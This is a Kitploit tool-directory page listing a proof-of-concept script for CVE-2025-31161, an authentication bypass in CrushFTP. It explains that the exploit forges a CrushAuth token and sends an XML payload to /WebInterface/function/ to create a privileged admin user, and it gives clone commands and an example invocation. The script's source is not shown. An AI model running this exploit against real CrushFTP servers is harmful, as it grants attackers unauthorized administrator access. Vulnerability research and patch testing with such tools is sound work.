Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-31161 — PoC CVE-2025-31161 - Authentication Bypass CrushFTP | Kitploit
Tools/GitHubGitHub/f4dee-backup/cve-2025-31161
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubf4dee-backup/cve-2025-31161

CVE-2025-31161

PoC CVE-2025-31161 - Authentication Bypass CrushFTP

View Repository
211 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-31161 - CrushFTP Authentication Bypass Exploit

PoC CVE-2025-31161 - Authentication Bypass CrushFTP


📌 CVE Details

  • ID: CVE-2025-31161
  • Type: Authentication Bypass
  • Vendor: CrushFTP
  • Impact: Allows unauthenticated attackers to forge a valid CrushAuth token and create a fully privileged admin user.
  • More Info: NVD Entry (when available)

⚙️ Description

This exploit targets a critical vulnerability in CrushFTP, allowing remote unauthenticated attackers to bypass authentication and create arbitrary admin users.

It works by crafting a valid-looking CrushAuth token and abusing the /WebInterface/function/ endpoint to submit a fully-formed XML payload.


🚀 Usage

🔧 Requirements

  • curl
  • shuf

Instalation

root@kitploit:~
git clone https://github.com/f4dee-backup/CVE-2025-31161
root@kitploit:~
cd CVE-2025-31161
root@kitploit:~
chmod +x CVE-2025-31161.sh

Help Panel:

root@kitploit:~
./CVE-2025-31161.sh --help

[?] Parameters description:

	--url            Target base URL (e.g., http://target)
	--port           Port where CrushFTP is running
	--target-user    Valid or invalid username (e.g., crushadmin)
	--new-user       Username to be created (e.g., Pwn3d)
	--new-password   Password for the new user
	--help           Show this help panel

[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345
Download Tool